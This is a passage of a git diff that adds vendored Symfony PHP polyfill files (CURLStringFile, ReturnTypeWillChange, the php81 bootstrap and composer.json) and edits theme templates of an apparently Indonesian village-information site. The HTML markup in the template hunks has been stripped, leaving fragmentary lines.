+if (\PHP_VERSION_ID >= 70400 && extension_loaded('curl')) { + /** + * @property string $data + */ + class CURLStringFile extends CURLFile + { + private $data; + + public function __construct(string $data, string $postname, string $mime = 'application/octet-stream') + { + $this->data = $data; + parent::__construct('data://application/octet-stream;base64,'.base64_encode($data), $mime, $postname); + } + + public function __set(string $name, $value): void + { + if ('data' !== $name) { + $this->$name = $value; + + return; + } + + if (is_object($value) ? !method_exists($value, '__toString') : !is_scalar($value)) { + throw new \TypeError('Cannot assign '.gettype($value).' to property CURLStringFile::$data of type string'); + } + + $this->name = 'data://application/octet-stream;base64,'.base64_encode($value); + } + + public function __isset(string $name): bool + { + return isset($this->$name); + } + + public function &__get(string $name) + { + return $this->$name; + } + } +} diff --git a/vendor/symfony/polyfill-php81/Resources/stubs/ReturnTypeWillChange.php b/vendor/symfony/polyfill-php81/Resources/stubs/ReturnTypeWillChange.php new file mode 100644 index 000000000..cb7720a8d --- /dev/null +++ b/vendor/symfony/polyfill-php81/Resources/stubs/ReturnTypeWillChange.php @@ -0,0 +1,20 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +if (\PHP_VERSION_ID < 80100) { + #[Attribute(Attribute::TARGET_METHOD)] + final class ReturnTypeWillChange + { + public function __construct() + { + } + } +} diff --git a/vendor/symfony/polyfill-php81/bootstrap.php b/vendor/symfony/polyfill-php81/bootstrap.php new file mode 100644 index 000000000..9f872e02f --- /dev/null +++ b/vendor/symfony/polyfill-php81/bootstrap.php @@ -0,0 +1,28 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +use Symfony\Polyfill\Php81 as p; + +if (\PHP_VERSION_ID >= 80100) { + return; +} + +if (defined('MYSQLI_REFRESH_SLAVE') && !defined('MYSQLI_REFRESH_REPLICA')) { + define('MYSQLI_REFRESH_REPLICA', 64); +} + +if (!function_exists('array_is_list')) { + function array_is_list(array $array): bool { return p\Php81::array_is_list($array); } +} + +if (!function_exists('enum_exists')) { + function enum_exists(string $enum, bool $autoload = true): bool { return $autoload && class_exists($enum) && false; } +} diff --git a/vendor/symfony/polyfill-php81/composer.json b/vendor/symfony/polyfill-php81/composer.json new file mode 100644 index 000000000..e02d673d4 --- /dev/null +++ b/vendor/symfony/polyfill-php81/composer.json @@ -0,0 +1,36 @@ +{ + "name": "symfony/polyfill-php81", + "type": "library", + "description": "Symfony polyfill backporting some PHP 8.1+ features to lower PHP versions", + "keywords": ["polyfill", "shim", "compatibility", "portable"], + "homepage": "https://symfony.com", + "license": "MIT", + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "require": { + "php": ">=7.1" + }, + "autoload": { + "psr-4": { "Symfony\\Polyfill\\Php81\\": "" }, + "files": [ "bootstrap.php" ], + "classmap": [ "Resources/stubs" ] + }, + "minimum-stability": "dev", + "extra": { + "branch-alias": { + "dev-main": "1.28-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + } +} diff --git a/vendor/themes/esensi/commons/meta.php b/vendor/themes/esensi/commons/meta.php index 367f61433..4524acdea 100644 --- a/vendor/themes/esensi/commons/meta.php +++ b/vendor/themes/esensi/commons/meta.php @@ -3,7 +3,7 @@ setting->sebutan_desa) .' '.ucwords($desa['nama_desa']) ?> - + diff --git a/vendor/themes/natra/commons/meta.php b/vendor/themes/natra/commons/meta.php index 9bc1f936f..a66f23953 100644 --- a/vendor/themes/natra/commons/meta.php +++ b/vendor/themes/natra/commons/meta.php @@ -1,6 +1,6 @@ - + setting->sebutan_desa) . ' '. $desa['nama_desa'] . ' '. ucwords($this->setting->sebutan_kecamatan) . ' '. $desa['nama_kecamatan'] . ' '. ucwords($this->setting->sebutan_kabupaten) . ' '. $desa['nama_kabupaten']; ?> diff --git a/vendor/themes/natra/partials/informasi_publik.php b/vendor/themes/natra/partials/informasi_publik.php new file mode 100644 index 000000000..c00d9afa8 --- /dev/null +++ b/vendor/themes/natra/partials/informasi_publik.php @@ -0,0 +1,48 @@ + + +
        +

        +
        + + + + + + + + + + +
        NoJudul InformasiTahunKategoriTanggal Upload
        +
        +
        + diff --git a/vendor/themes/natra/partials/pembangunan/detail.php b/vendor/themes/natra/partials/pembangunan/detail.php index 04ad0e037..6698c398e 100644 --- a/vendor/themes/natra/partials/pembangunan/detail.php +++ b/vendor/themes/natra/partials/pembangunan/detail.php @@ -58,7 +58,7 @@
        Keterangan :keterangan) ?>keterangan) ?>
        diff --git a/vendor/themes/natra/partials/pembangunan/index.php b/vendor/themes/natra/partials/pembangunan/index.php index a9a8ab677..78272856f 100644 --- a/vendor/themes/natra/partials/pembangunan/index.php +++ b/vendor/themes/natra/partials/pembangunan/index.php @@ -22,7 +22,7 @@

        Nama Kegiatan :judul) ?>judul) ?>
        Alamat
        Keterangan :keterangan) ?>keterangan) ?>